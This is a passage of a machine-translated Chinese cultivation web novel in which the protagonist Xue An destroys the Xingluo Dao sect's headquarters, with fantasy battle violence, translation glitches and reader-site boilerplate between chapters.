    After speaking, Xue An went out happily.


    The people behind Luo Lan Ting gave a wink, and the members of the Evil Flower immediately got up to follow them.


    In an instant, the banquet hall, which was still lively just now, was less crowded.


    The rest were people from various forces. They looked at each other, and finally swallowed with difficulty.


    "How about... let''s go and have a look?" someone asked tentatively.


    The rest nodded, "Alright! Let''s go and see!"


    So many people left behind Luolanting and others.


    quickly.


    Min Huafeng and others were left in the banquet hall.


    These guys looked at each other, and after a long time, someone said hesitantly: "This... can this guy really succeed?"


    Hearing this, Min Huafeng wanted to laugh at this man''s whimsical expression, but when he saw the body of Zhan Fencheng on the ground, these words suddenly got stuck in his throat, and he couldn''t say anything.


    Recalling that young man just waved Fang Qiu with a confident posture.


    Suddenly a very absurd idea arose in Min Huafeng''s mind.


    Could it be that this young man can really uproot Xingluo Dao?


    But how is this possible!


    Not to mention the original strength of Xingluo Dao, even the big people behind it will not allow such things to happen!


    Thinking of this, Min Huafeng hesitated for a moment, and finally gritted his teeth, "Let''s go! Let''s follow, I want to see how powerful this young boy who jumped out of nowhere is!"


    Xue An has never been to the station of Xingluo Road, but he always rushed to the forefront along the way, and did not take any wrong path.


    Looking at Xue An, who was familiar with the road, even Luo Lanting was a little surprised.


    How did he know the route?


    In fact, Xue An completely relied on the divine mind left on Lu Yinxi as a guide to drive the road.


    He thought very clearly that he didn''t have time to spend much time in this low-level city.


    You should know that Paradise Lost has as many as 13 cities.


    I must rush to the highest level in the shortest possible time, then find Fan Mengxue and solve many things.


    With this idea in mind, Xue An didn''t bother to play any tricks of pretending to be a pig and eating a tiger. First, he helped the descendant of this old acquaintance solve internal and external affairs, and then rushed to Xingluo Road without stopping.


    And at this moment.


    There was also chaos in the headquarters of Xingluo Dao.


    of course.


    This is not because they foresaw that Xue An was coming.


    In fact, even the craziest people would not have thought that someone would dare to come here to find something.


    Because this is the headquarters of Xingluo Dao!


    People with a little brain will also think that looking for things here is the same as looking for death, even faster than looking for death.


    At this moment, the reason why Xingluo Dao''s headquarters was in an uproar was entirely because of the news that Lu Yinxi brought back.


    "What? Xu Hufa and the men he led were annihilated, not even a single person escaped? This is impossible!" A man who looked like a red pill shook his head and said.


    "Yes, it''s just a Luolan Pavilion! No matter how powerful her extremely evil flower is, it can''t be the enemy of Xu Xianyue and so many subordinates!" Another coquettish woman was also full of disbelief.


    For a time, the field began to clamor again.


    At this moment, I saw an old man sitting in the middle, raising his eyes to look at the pale Lu Yinxi.


    "Guardian Deer, are all these things true?"


    "Return...return to Lord Heavenly King...what I said is true, Xu Xianyue and the others have indeed been wiped out, and..."


    "And what?"


    "And if it weren''t for me to run fast, I might not even be able to escape!" At this point, Lu Yinxi swallowed, eyes full of horror, obviously thinking of some horrible picture.


    At this time, the whole audience was quiet.


    Despite all the doubts in his heart, Lu Yinxi is one of the eight guardians at any rate, and it is naturally impossible to make a joke about this kind of thing.


    Coupled with the fact that she has not been able to contact Xu Xianyue and the people he took out until now, this proves that she has not lied.


    But the question is, what exactly caused this situation?


    The old man was also full of doubts, "Deer guardian, what is going on in the end? Then how could Luolan Pavilion have such a powerful strength to deal with your two great guardians together?"


    Lu Yinxi shook his head, "Not Luo Lanting!"


    "Oh? You mean, there are other people?" The old man''s eyes flashed suddenly.


    "Yes...yes, there is indeed one person! A person with a high level of cultivation, like a **** or devil!" Lu Yinxi trembled, his whole body trembling slightly.


    There was a commotion in the field.


    "The cultivation base is so high, like a **** or devil? Isn''t this Lu Yinxi frightened stupid? What kind of nonsense is this?"


    "Yeah! Why do I listen so unreliable?"


    Amid these discussions, the old man raised his eyebrows and said solemnly: "Speaking in detail, what is going on?"


    "Yes!" Lu Yinxi responded with difficulty, and then laid himself in an ambush outside. As a result, he ran into the seriously injured Luolan Pavilion. He wanted to capture him, but he did not expect that a white-clothed boy suddenly appeared. Tell it again.


    Her voice echoed quietly in the field, and everyone''s complexion gradually became serious.


    at last.


    When she finished.


    The old man''s face couldn''t help but look thoughtful.


    "You mean, the other party is just a person, but you can''t get out of the suppressed one? You even arrested you who had escaped with one sentence?"


    "Yes! Subordinates don''t dare to lie!"


    "If it''s true then this person''s strength must not be underestimated! It can even be comparable to me!" The old man said solemnly.


    As soon as this remark came out, everyone even gasped.


    You know, this old man is one of the four heavenly kings of Xingluo Dao.


    If it can be compared to him, that strength is indeed shocking.


    At this time, the old man again ordered: "The order goes on. Before the adults return, shrink the ministries, don''t conflict with the evil flower person, and then at all costs, you must find out the origin of this person! "


    At this moment, there was a chuckle from outside, "You don''t have to spend so much to investigate, I''m already here!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1610 Expedition to Kill the Stars (third)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1607： The darkness is as deep as the sea

    () "Invincible, start from Xianzun Dad ( Find the latest chapter!


    "Who?" Star Killing Heavenly King''s expression changed, and he leaped into the courtyard with a deep cry.


    You must know that with his strength, no matter where he is, everything within a radius of ten miles will be reflected in the divine mind.


    But even under this kind of omni-directional detection without blind spots, there is no trace of the person speaking.


    In other words, he leaned forward silently, and the whole process of Star Killing Heavenly King didn''t feel the slightest.


    This is very scary.


    Because if the other party took this opportunity to make a sneak attack, Star Killer would ask himself that he had lost the opportunity.


    And that''s why he was so moved.


    At this moment, it was not only him, but the great guardians in Xingluo Dao, and the rest of the people also came to the courtyard.


    Then they saw Xue An standing above the sky with a light smile on his face.


    When he saw him, Lu Yinxi trembled all over, then screamed.


    "It''s him! Lord Heaven, this is the one who rescued Luolan Pavilion!"


    boom!


    There was a commotion in the audience.


    Many people looked at Xue An who was standing in the void with all their faces in astonishment, and a big question mark appeared in their minds.


    Is this the one who is regarded as the **** and demon by Lu Yinxi?


    Doesn''t it seem surprising!


    It''s nothing more than a white-clothed teenager with a supreme temperament, and even his power seems unremarkable. How powerful can this be?


    Many people''s eyes gradually changed from doubt to disdain.


    Only Star Killer''s complexion became more solemn.


    Because Dao Master and the other three heavenly kings were not present, he was the strongest in the Star Luo Dao headquarters at this moment.


    Coupled with so many years of grind and beating in Paradise Lost, he created a pair of sharp and precise eyes of King Killer.


    This is also a necessary skill to survive in Paradise Lost.


    Because many times, a person who seems to be ordinary is actually a dark boss of a certain party.


    And this requires you to identify and distinguish yourself.


    Especially for the powerhouses in the lower-level cities, once they make a mistake, it is likely to mean the cost of life.


    In this case, Star Killer quickly noticed the distinctive details of Xue An.


    Those who bear the brunt are his eyes.


    Star Killer asked himself that he had seen a lot of strong men, and even the big men in the middle-level cities had the privilege of seeing him personally.


    But no matter how strong it is, there is no such dark and unfathomable eyes.


    This can''t help but gradually tighten Xingsha''s heart.


    And the second most important difference is that Star Killer discovered that when he tried to detect the opponent with his divine mind, there was nothingness on the opposite side.


    In other words, this young man in white clearly stood in front of him, but he did not exist in his divine mind.


    This kind of strong contrast makes people feel uncomfortable almost vomiting blood.


    However, Xingsha''s complexion became more solemn because of this.


    Because he understands that this phenomenon generally only appears in the quasi-immortal king class powerhouse.


    Prove that it has become independent of the world and has become a world of its own.


    Could it be... this young man in white is a quasi-immortal king class expert from a certain starry sky master?


    Otherwise, how could such a young man have such a tyrannical strength?


    These thoughts flashed in Xingsha''s mind, and immediately, he calmed down and bowed his hand at Xue An.


    "This friend, you rescued the Lanting Pavilion. My Xingluo Dao didn''t say anything yet. Why did you suddenly come to my Xingluo Dao''s headquarters? Excuse me...what does this mean?"


    Star Kill''s tone was very polite.


    So polite to the point where many people in Xingluo Dao were surprised by it.


    You must know that those who can be ranked among the four heavenly kings of Xingluo Dao are all first-class ruthless people.


    This kind of existence does not pay attention to the courtesy before the soldiers.


    What''s more, from the name Star Killer, you can tell how irritable this great heavenly king is.


    But what happened to the Lord of Heaven today?


    How kind to this boy in white?


    Everyone is in a moment of uncertainty.


    Xue An was looking at the people of Xingluo Dao slowly, until he heard the words of Star Kill, he narrowed his eyes, and then the corners of his mouth raised, revealing a slight smile.


    "It''s not interesting, I just want to see how powerful the so-called Xingluo Dao is! As a result..."


    Xue An shook his head, "I''m very disappointed!"


    As soon as this remark came out, there was a roar in the audience.


    "Where did the kid come from, so arrogant!"


    "Yes, I dare to slander my Xingluo Dao, it''s really looking for death!"


    Amidst the noise, Star Killer''s expression sank, and he said in a cold voice, "Friend, I respect you as a strong man, but it doesn''t mean you can slander my Star Luo Dao like this!"


    Xue An smiled, "Do you think I''m slandering? You are wrong, because in my eyes..."


    After that, Xue An pointed to the audience, "You are all rubbish!"


    boom!


    This sentence was like a blockbuster that completely detonated the audience.


    "A fanatic, you will definitely pay for this sentence, I will twist your head down to make a hip flask!" It was one of Xingluodao''s eight great guardians, that is, the previous face. Ruo Hongdan''s man.


    Star Killer''s complexion also became extremely ugly. If possible, he really didn''t want to do anything with the unknown white boy in front of him with a mysterious background.


    But at this point, Xue An has already named Dao surnames. As the four heavenly kings of Xingluo Dao, he naturally can''t recognize it.


    I saw him take a deep breath, "Boy, did you ever think about the consequences when you said this?"


    Xue An didn''t answer his words, but suddenly remembered something and chuckled.


    "I took back the sentence just now because it is not accurate! At least compared with them, you are not bad, not rubbish, but better than rubbish, barely can be regarded as a waste!"


    Even if Star Killer had a good temper, he couldn''t continue to bear it.


    I saw him roar, "Do it!"


    An order was given, but endless star power suddenly filled the sky.


    These star powers gathered together to form a little bit of brilliance, reflecting the whole world.


    But just under this extremely beautiful scene, it contained extremely terrifying murderous intent.


    Because this is a combined blow from all of Xingluodao''s men.


    It is called the Sea of ??Stars and it is powerful enough to shake the entire city.


    At the same time, this scene was seen by everyone who finally rushed to the scene.


    Luo Lanting was shocked and screamed, "No..."


    But at this moment, he saw Xing Shao grinning and shouting, "Kill!"


    boom!


    The originally extremely bright starry sky suddenly flashed a cold light, and then turned into the deadliest weapon in an instant, and began to strangle everything around it.


    Xue An was the first to bear the brunt, and these stars naturally rushed towards him madly.


    In an instant, the sky full of stars wrapped Xue An firmly, and the brilliance surged in it, obviously attacking frantically.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1611 is dark as the sea is unfathomable (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1608： Starlight Sword

    "No!" Luo Lanting was pale and trembling.


    Don''t look at the acquaintance of Xue An for only half a day, but for this mysterious teenager, Luo Lanting is full of respect.


    After all, he saved himself and helped him to rectify the people inside and outside!


    So when she saw Xue An trapped in the sea of ??stars, she was naturally anxious.


    But she was anxious, but many people were secretly happy.


    For example, Min Huafeng.


    He couldn''t help letting out a breath.


    To be honest, he was constantly scared on the way here.


    If this young man who didn''t know where to jump out can really wipe out Xingluo Dao, then the fate of these people can naturally be imagined.


    So when he saw Xue An being overwhelmed by Xinghui, he almost laughed out loud.


    Are you not a cow*?


    Look at how good you are now*!


    He was not ashamed, and kept saying that he would uproot Xingluo Dao. I think you pulled yourself up first!


    At this time, Star Kill also wiped the cold sweat from his forehead as no one was aware.


    He has been worried about whether this young man in white will really do anything amazing.


    fortunately!


    everything is over.


    No one can survive the strangulation of the Sea of ??Stars.


    But when he turned around and was about to leave, a light laugh suddenly came from the sea of ??stars.


    "Very interesting trick, but that''s it!"


    As soon as the voice fell, the Sea of ??Stars that had wrapped Xue An suddenly became dimmed.


    Immediately afterwards, the sea of ??stars began to expand rapidly.


    In the end, it exploded like a balloon.


    Among the stars scattered everywhere in the sky, and then falling like a shooting star, Xue An in a spotless white robe walked out slowly, and then everyone smiled at Xingluodao.


    "Are there any tricks like this? I want to try them all! Because it''s fun!"


    Quite fun����!


    This description left many people speechless.


    After such a long time, this is the first time someone has heard of Xing Luo Dao''s ultimate move with fun.


    The "arrogance" contained in this has almost reached the point of giving up others.


    At least in Star Kill''s view, this is the case.


    I saw him yelling furiously: "Zhuzi is arrogant, kill him!"


    The order was like a landslide.


    In an instant, among the crowd of Xingluodao, dozens of figures rose into the sky, and then went straight to Xue An.


    At the forefront is the great guardian who mocked Xue An a lot before.


    I saw him grinning and said, "Starlight casts a sword!"


    boom!


    Following the voice, the sky full of stars condensed into a huge sword with a length of ten miles in an instant, and then slashed straight towards Xue An.


    The word "practical cut" is no longer accurate.


    In front of such a huge sword weapon, Zhan and Boom are the same.


    This is also the famous skill of this great protector.


    But in the face of this sword, Xue An just sneered.


    "That''s it? Really boring!"


    As he said, before the sword energy came to his body, Xue An suddenly stomped his foot, "Today I will show you what is a real starlight cast sword!"


    As he said, Xue An raised his hand, palm up, and gave a soft drink, "The sky is full of stars, for my use!"


    In the past, Xue An needed to say a loan if he wanted to use the power of heaven and earth.


    But it is no longer needed.


    As long as he simply utters these four words for my use, he can control an unimaginable world power.


    Like this moment.


    When Xue An''s voice just fell, there were countless huge beams of light suddenly appeared on the sky where the faint morning light had emerged.


    These beams of light were filled with incomparably abundant starlight power, and then gathered together in Xue An''s hands.


    In a snap of his fingers, a huge sword with thousands of miles long took shape.


    Compared with this peerless sword, the sword condensed by this great guardian is as weak and pitiful as a toothpick.


    And this scene also shocked everyone in the sky and the ground.


    Star Kill was startled first, then suddenly understood something, and immediately shouted wildly: "Run!"


    But it was too late.


    When these people wake up like a dream, turn around and want to escape here.


    Xue An said indifferently: "I said let you use some interesting moves, but you just didn''t listen. In that case, I will send you on the road first!"


    "cut!"


    There is no extra sound.


    This peerless sword weapon slashed quickly like a breeze between heaven and earth.


    Click!


    Within the reach of Jianguang.


    All the objects are cut into two pieces.


    All these objects naturally include people.


    But seeing that these people who were still aggressive just now, and were going to ask Master Xue Anxing to question their crimes, at this moment, they were like wood-carved clay sculptures, standing blankly in the void.


    I don''t know who started it first.


    Just listened to a beep, a sound of cracking tiles coming from these people.


    Immediately afterwards, countless fine cracks appeared on the surface of these people''s bodies.


    Bang!


    With a muffled noise.


    The bodies of these people were like fireworks, completely exploding.


    The pieces are mixed with mist of blood floating in the world.


    Everyone was shocked by this scene full of extreme violent beauty.


    Xue An shrugged, "Here! You can''t blame me for this, blame these guys for bad life!"


    Star Killer looked at him blankly, and then he almost vomited blood by Xue An''s words.


    "Dare to kill my elite, Xingluodao is not at odds with you!" Xingsha shouted in a spiteful tone.


    Xue An just smiled, "You don''t have to be at odds with me, because I''m here to solve this problem! Didn''t you ask me what I want to do? I''ll tell you now!"


    "I want to uproot you Xingluo Dao, don''t know what your opinion is? Are you so happy?"


    Xing Shao was trembling with anger all over by Xue An. If he hadn''t had a high level of cultivation, he might have suffered a cerebral hemorrhage and died on the spot.


    "Happy? Hehehehe, you want to uproot my Xingluo Dao by the roots, so please touch your own heads first!"


    When the words fell, Star Killer''s body scattered between the heavens and the earth, disappearing.


    Lu Yinxi also used this trick before.


    But when Star Killing was launched obviously took a step forward.


    He is not there, but he is everywhere.


    This is the horror of the Xingluo Dao Secret Art.


    There is no way to detect them after turning into starlight.


    But others can''t, doesn''t mean Xue An can''t.


    Xue An slowly closed his eyes and said coldly: "Want to control the world to fight with me? Okay, then I will play with you!"


    After all, Xue An''s body instantly evaporated, and then disappeared into the void.


    Everyone opened their mouths slightly, many people still don''t know what happened.


    There were bursts of noise in the void.


    Vaguely, two figures can be seen frantically confronting each other, but then they disappear again.

 Chapter 1609： Warm up

    Rumble!


    Accompanied by a loud noise that shook the world.


    Above the sky, Xue An and Xingsha are constantly confronting each other.


    Every blow made heaven and earth tremble, and the violent currents that it set off swept across the entire sky.


    Here is where two people are fighting, it is clear that two giants from ancient times are fighting.


    And this picture full of ultimate power and beauty also dazzled everyone.


    Min Huafeng in the crowd secretly swallowed his saliva, his face pale as paper.


    This... Is this the true strength of this white-clothed boy?


    He can actually withstand the attack of the four heavenly kings of Xingluo Dao, what is his background?


    These questions hovered in Min Huafeng''s mind, making his eyes more and more frightened.


    At this moment, there was a chuckle from the sky.


    "It''s been a long time since I''ve been so active, it''s so happy!"


    Upon hearing this, everyone in Xingluo Dao changed their colors.


    Because the speaker is Xue An.


    Star Killer''s face also changed, because at this moment he had already tried his best, and he had no time to worry about others.


    But I didn''t expect that even in this situation, the other party could still speak so calmly.


    Does this mean that there is a huge gap in their strengths?


    Do not!


    This is impossible!


    I am the four heavenly kings of Xingluo Dao, a strong man comparable to the immortal king, how could I be defeated by an unknown young man?


    Xing Shao''s heart screamed frantically, and the offensive became fierce.


    In the face of this stormy offensive, Xue An just smiled faintly, and then said nonchalantly: "Okay, the warm-up is over, then... it''s time for the topic!"


    what? Warm up?


    Could it be said that he was only testing the water before and did not use his real strength at all?


    How is this possible?


    These thoughts flashed through Xingsha''s mind.


    But what came faster than these ideas was Xue An''s fist.


    At the moment when the voice fell, Xue An raised a fist in his hand, and then strode out.


    This is an extremely contradictory punch.


    Extremely fast and extremely slow, calm and violent.


    The two diametrically opposed properties are perfectly combined at this moment.


    As soon as he saw this fist, Xing Shao''s eyes showed fear.


    But as a strong man, he also knew that he was unavoidable now.


    Under the lock of this fist, no matter if he goes to the sky or the ground, it is impossible to avoid it.


    So he screamed, then agitated the blood all over his body, and bit his scalp to meet him.


    boom!


    After a dazzling white light flashed, the world lost its voice.


    Everyone was shocked with blood and energy, and the slightly worse cultivation was bleeding from both ears and the painful expression on his face.


    Despite this, no one dared to speak.


    They all cast their eyes on the sky, wanting to see the result of this punch.


    The white light dissipated.


    Two figures appeared.


    Xue An and Xingsha stood opposite each other, all silent.


    The people of Xingluodao secretly let out a sigh of relief.


    Ok!


    It seems that Star Killer did not lose!


    But it seemed to be in response to their thoughts, when Xingsha suddenly opened his mouth and spit out a big mouthful of blood.


    This time, everyone was shocked!


    "Star Killer!"


    "grown ups!"


    The people of Xingluodao all exclaimed, and even more so they would fly up.


    But at this moment, Star Killer shouted in a deep voice: "Don''t move!"


    In Xingluo Dao, what the superiors say is absolute authority, and no one dares to defy.


    So even though they were full of unwillingness, the people of Xingluodao could only stand in place.


    Then Xingsha slowly raised his head to look at Xue An on the opposite side.


    "What kind of boxing is this?"


    Xue An smiled, "Is it amazing?"


    Star Killer nodded and exclaimed sincerely: "Awesome!"


    "Just great, I created it!" Xue An said lightly.


    There was another commotion among the crowd.


    Many people show unbelief on their faces.


    Because learning one-stroke boxing is completely different from creating one-stroke boxing, and the difference in difficulty cannot be calculated.


    But Star Killer nodded convincingly when he heard the words, "No wonder I can''t feel the shadow of any school of martial arts!"


    Xue An smiled slightly, "You are not bad, you can take my punch and hold it till now!"


    Star Killer smiled bitterly, "I can feel it, it''s about to reach the limit soon!"


    With that, he raised his head.


    "My lord, before I die, can I ask you something?"


    boom!


    The words of Star Killing were like pouring a scoop of cold water in a hot pot, making the already boiling situation more restless.


    Before dying?


    Could it be said that this star was defeated?


    What a joke, those are the four heavenly kings of Xingluodao!


    Many people can''t believe this is true.


    However, the expression on Xing Shao''s face was unpretentious. He looked at Xue An with a sincere face, and his eyes were full of hope.


    Xue An was not moved at all, just smiled faintly, "What? Want me to let you go? Do you think it is possible?"


    The Star Killer was silent for a while, and finally shook his head with a wry smile, "I am delirium! But whether it was right or wrong before, can the adults raise their hands and give my sects a chance?"


    When he said this, Star Killer''s tone was almost begging.


    This also made the people of Xingluo Dao speechless.


    No one thought that things would become like this!


    Only Lu Yinxi looked at it blankly, and whispered softly in his mouth: "I knew it would be like this... Hehe, I''m so stupid!"


    Facing Star Killer''s begging, Xue An didn''t have any expression on his face, just glanced at Star Killer coldly, and then said slowly.


    "What makes you think you can beg me to let these people go? The so-called sympathy between the strong?"


    Before the Star Killer could speak, Xue An continued and said, "Hehe, stop making trouble! If it is me who is defeated now, will you listen to my prayer? Certainly not!"


    Star Killer''s complexion became more and more gray, and the brilliance in his eyes was also dimming at a speed visible to the naked eye.


    He whispered: "But..."


    Xue An waved his hand, "Moreover, you said one thing wrong. It was never me who could save these people, but they themselves! As long as they haven''t done anything terrible, I won''t kill them! And if they die It��s because they are taking the blame, do you... understand?"


    Star Killer''s expression was shocked when he heard that, and then the whole person looked at Xue An in amazement.


    "What you said, I seem to have heard others say it!"


    "Oh?" Xue An raised his eyebrows slightly, "Who?"


    "A respectable man! Of course, it is impossible to see this man in my capacity. I have only heard other people say it a few times!"


    Guanghua flashed in Xue An''s eyes, "What''s the name of this big man...?"

 Chapter 1610： 1 punch

    The whole person of Star Killer had already begun to tremble non-stop, apparently reaching the point where the oil was exhausted.


    But even so, he still insisted on saying: "The name of this adult is so expensive, I only know that her surname is Fan... That''s it!"


    When the words fell, Star Killer''s body broke apart every inch.


    In fact, when he hit Xue An''s punch, his whole life was completely wiped out.


    It''s not easy to be able to survive until now.


    "My lord... I beg you to try your best to show the stars!"


    Star Killer said with difficulty, and then the soul collapsed completely, and the soul was destroyed.


    The so-called death is good.


    This Star Killer was able to say such things before he died, which was already considered very good.


    Xue An didn''t have much expression.


    In fact, his heart at the moment was all occupied by the words of Star Kill.


    A big man named Fan.......


    Is it her?


    probably!


    It seems that after such a long time, you have grown up in Mengxue!


    Thinking of this, Xue An smiled relievedly, then lowered his head to look at the shivering Xingluodao people.


    "Although I don''t bother to pay attention to this guy, but people will die and be good at words, I will give him face!"


    The people who had been trapped in infinite horror because of the death of Star Kill, all secretly breathed a sigh of relief.


    Xingluo Dao at this moment no longer has the arrogance of just now.


    Especially the people who thought about flying up and fighting Xue An before, are even more pale at this moment, and dare not even lift their heads.


    Because they had consciously supported by the Star Killing King before, they were fearless.


    However, he never expected that the invincible Star Killer in the eyes of these people would be killed by the white-clothed boy in front of him.


    This is as incredible as the Arabian Nights.


    But the problem is that it happened in front of you so real, and everyone didn''t believe it.


    In this case, Xue An''s loose tone also made many people think that they could save this little life.


    But at this moment, Xue An''s next sentence made these people fall into an ice cellar.


    "I wanted to kill you all at once, but now the situation has changed, so let your own good and evil judge everything!"


    What do you mean?


    Judging by your own good and evil?


    Xingluodao, and everyone else was puzzled when they heard this.


    Xue An smiled slightly, then chuckled softly.


    "Sword of seeking evil, now!"


    Give an order.


    Countless white sword lights floated between the sky and the earth.


    Then Xue Anhao took out his ears in his spare time, and said lightly: "Do it!"


    boom!


    The sword light fell like rain, covering everyone in Xingluo Dao.


    Immediately afterwards, I heard a scream from inside.


    "What kind of ghost swordsmanship is this, no!"


    "I don''t want to die, please forgive me!"


    "Ah ah ah ah ah!"


    Various sounds are mixed together, and still can''t conceal the crisp sound of sword light across the body.


    However, in the blink of an eye, the sword light returned to silence.


    Xue An waved his hand, and these sword lights dispersed.


    A strange and **** scene appeared in front of everyone.


    But seeing the blood flowing on the ground was full of broken arms and limbs, and the corpses with distorted expressions were lying on their backs, their faces still frozen with dying fear.


    hiss!


    When everyone saw this, they all took a breath, and then looked at Xue Anshi, their eyes filled with awe.


    Because they really couldn''t imagine what kind of cultivation level would be able to slaughter the entire Star Luo Dao people cleanly.


    Xue An was not surprised by this result.


    Xingluo Dao has dominated the lower-level cities for so long, and is usually more adept at seeking profit with **** means, so you can imagine what these clansmen look like.


    The entire army was wiped out, but they only took the blame.


    After all, the sword of seeking evil is the evil in people''s hearts.


    After all this was done, the sky just showed a faint morning light, Xue An stretched a long waist, then lowered his head and smiled at Lanting and the others.


    "Okay, the matter is over, let''s go back for breakfast!"


    Looking at Xue An with a smile on his face, Luo Lanting suddenly felt a little bit dumbfounded, but he nodded solemnly.


    "Yes!"


    Then Xue An happily turned around and flew to the headquarters of the Evil Flower.


    Luo Lanting took a deep look at the Xingluo Dao headquarters, which had become a dead zone, and said in a deep voice: "Leave a part here to clean up the hands and tails!"


    "Yes!"


    Then Luo Lanting just flew up and left behind Xue An.


    quickly.


    The people of the Evil Flower began to clean up the scene with joy.


    For them, Xingluo Dao''s eradication is simply good news, and they are naturally happy.


    As for the others, most of them also left.


    Only Min Huazang and a small group of people stood there in embarrassment.


    After a long time, someone asked quietly, "Min Guanzhu, what shall we do now?"


    Min Huazang smiled bitterly, "What else can I do? Xingluo Dao is gone, so naturally he should go back to each house quickly!"


    "Or, let''s take advantage of the Quartet''s congratulations, and find a way to re-establish a relationship with Extremely Evil Flower?" someone said.


    "Haha! Don''t be wishful thinking! Are the people of Evil Flower a fool? We betrayed the alliance at the beginning, but now we want to reconnect with each other, is it possible?" Min Huazang sneered.


    "Is it the only way to do this?" Some people are still unwilling to do so.


    Min Huazang was too lazy to say anything, turned around and left.


    The strength Xue An demonstrated today has completely shocked his courage.


    So now he just wants to stay away from Xue An.


    As for other things, he left them behind.


    He wasn''t even going to return to Bailian View, but went straight to hide in a remote corner.


    After all, God knows if this white-clothed boy who murdered but didn''t see blood suddenly thinks of his betrayers.


    With this determination, he turned around and left.


    But at this moment.


    Several figures suddenly blocked his way.


    Min Huazang looked up, his face turned pale, and he hurriedly said with a flattering smile: "What...what are you doing?"


    The people who stopped Min Huazang were the elite elders in the Extremely Evil Flower which was also ordered by Luo Lanting before he left.


    Luo Lanting has always remembered the betrayal of these people.


    "Min Guanzhu, where are you going?" the leading elite elder said with a smile.


    Min Huazang''s heart trembled, but he still smiled strongly to himself: "I...I''m not thinking about the starting point suddenly, am I going to return to Bai Lian Guan first!"


    "Oh? Is it the Hui Bai Lian Guan?"


    "Yes...Yes! Hahahaha!" Min Huazang smirked constantly to cover up the panic in his heart.


    "Min Guanzhu, then you have to be embarrassed. The Sect Master told you before. You and these people can''t go anywhere, you have to get back the extremely evil flower."


    "So Min Guanzhu, come with us!"

 Chapter 1611： Sword of Light Feather

    Although there are 13 cities in Paradise Lost, except for the top city, the remaining 12 floors are divided into three levels from bottom to top.


    These three levels are the bottom level, the second level, and the high level.


    Each level contains four levels of cities, which also constitute the overall framework of Paradise Lost.


    And when Xue An wiped out the Xingluo Dao headquarters, in the fourth-tier city from the bottom up, the Dao Master of Xingluo Dao Xiao He was talking to people with a smile on his face.


    "This matter is bothering your lord. Please tell it to me, saying that I, Xingluodao, must go all out to clean up that person''s remnants of the party!"


    Opposite him, sat a handsome man.


    After hearing Xiao He''s words, the man smiled slightly, "I will naturally explain this to Lord Father, but as to whether Lord Father will report to you, it is not my control!"


    "Understand it! Everything will take care of adults!" Xiao He nodded and said as he passed a space ring.


    "There are some bright spar, which I specially prepared for you, my lord!"


    "Oh? Bright spar?" The man was slightly startled, and then a playful color appeared on his face.


    "Yes! I heard that adults like this kind of spar best, so I collected some, I hope you like it!"


    The man opened the space ring casually, took out a brilliant spar from it, and then nodded.


    "Yeah! Not bad! It seems that you are very interested!"


    "Dare not dare, this is what I should do!"


    Xiao He smiled so badly that his face was almost rotten. If anyone else saw this scene at this moment, he would be very surprised.


    We must know that Xiao Hegui is the Taoist master of Xingluo Dao. Who has ever seen him behave in such a humble manner?


    "Don''t worry, I won''t collect your things in vain! Then I will speak for you in front of Lord Father God!"


    Xiao He was overjoyed when he heard the words, and nodded again and again: "Thank you, my lord, thank you! Xiao will never forget my help!"


    "But the prerequisite is that you have to do this thing beautifully. After all... the removal of the man''s remnants was personally ordered by the above, even my father and God attaches great importance to this!"


    "My lord, please rest assured, I was fully prepared before I came. There is one person with the most evil flower, and no one can run!" When he said this, Xiao He''s face was full of cruelty. color.


    "Very good! Then I''ll wait for your good news!" The man said with a smile.


    "Yes, yes! Xiaomou will definitely live up to his mission!" Xiao He nodded and said.


    "Okay, let''s go down first!" The man waved his hand impatiently.


    "Yes!" Xiao He bowed his head and wanted to withdraw.


    But at this moment, a tremor from his heart shook Xiao He''s whole body, and then stood still.


    "What''s the matter?" The man also noticed the strangeness and asked in a deep voice.


    Xiao He''s face gradually turned pale, "It''s the head!"


    "Oh? What happened to the headquarters?"


    Xiao He shook his head, "I don''t know, but my connection with the headquarters suddenly broke!"


    "Disconnected? How could this happen?" The man couldn''t help being a little surprised.


    Although he didn''t like Xiao He, the powerhouses from the lowest cities, he still knew the strength of Xingluo Dao.


    Suddenly disconnected from divine consciousness, this incident obviously revealed an unusual taste.


    Xiao He looked very solemn, and said hesitantly: "It may be due to the disconnection of spiritual consciousness caused by spatial fluctuations!"


    But just as he tried to find a reasonable explanation, there was a rush of messy footsteps outside the door.


    Then I saw the other three kings of Xingluo Dao walking in anxiously.


    "My lord, Dao Master, is there something wrong with the headquarters? How else would you suddenly disconnect?"


    As soon as this remark came out, Xiao He''s face changed completely.


    Because if you are the only one to disconnect from the headquarters, you can also use spatial fluctuations and other reasons to explain.


    But at this moment so many people feel the strangeness, which obviously cannot be explained by other reasons.


    The only explanation is that something happened at the headquarters!


    This thought made Xiao He''s hair stand up all over his body, and his face was even more ugly.


    "Sure enough, something happened?"


    Speaking of this, Xiao He turned and bowed to the man.


    "My lord, there may be something wrong with the headquarters now, I have to rush back to solve it, so please forgive me for not staying here for long!"


    After that, Xiao He turned around and left.


    But at this moment, the man stopped him.


    "Wait!"


    "My lord, what else is there?"


    "How long have you been away from the bottom city?" the man asked in a deep voice.


    "Leave the day before yesterday!"


    "In that case, you have been away for only two days, but in such a short time, something happened to your Xingluo Dao headquarters! What does this mean?"


    "Explain..." Xiao He realized something, and a look of horror appeared in his eyes.


    The man nodded, "Yes, it means that the person who does it is obviously not an ordinary person, otherwise it would be impossible to solve your Xingluo Dao in such a short time!"


    "Then what to do?" Xiao He asked anxiously.


    "Haha! If I''m not mistaken, the person who did it must be the remnant of that person''s remnant party!" At this point, there was a touch of excitement and cruelty in the man''s eyes.


    "It just happens that I have nothing to do now, so I will go with you this time, and by the way, I will completely clean up these remnants of the remnant party!"


    Xiao He couldn''t help being overjoyed when he heard this.


    Because he knows the strength of the man before him.


    This is the eldest son under the seat of Lord God King, who has inherited extremely terrifying power, and is called the existence of the sword of light feather!


    If he followed himself back, it would be foolproof.


    Thinking of this, Xiao He''s excited voice trembled.


    "Xiao, thank you sir!"


    "Haha! Don''t be so polite, after all... Are you also doing things for my Father God!" The man stood up and patted Xiao He on the shoulder, and said very kindly.


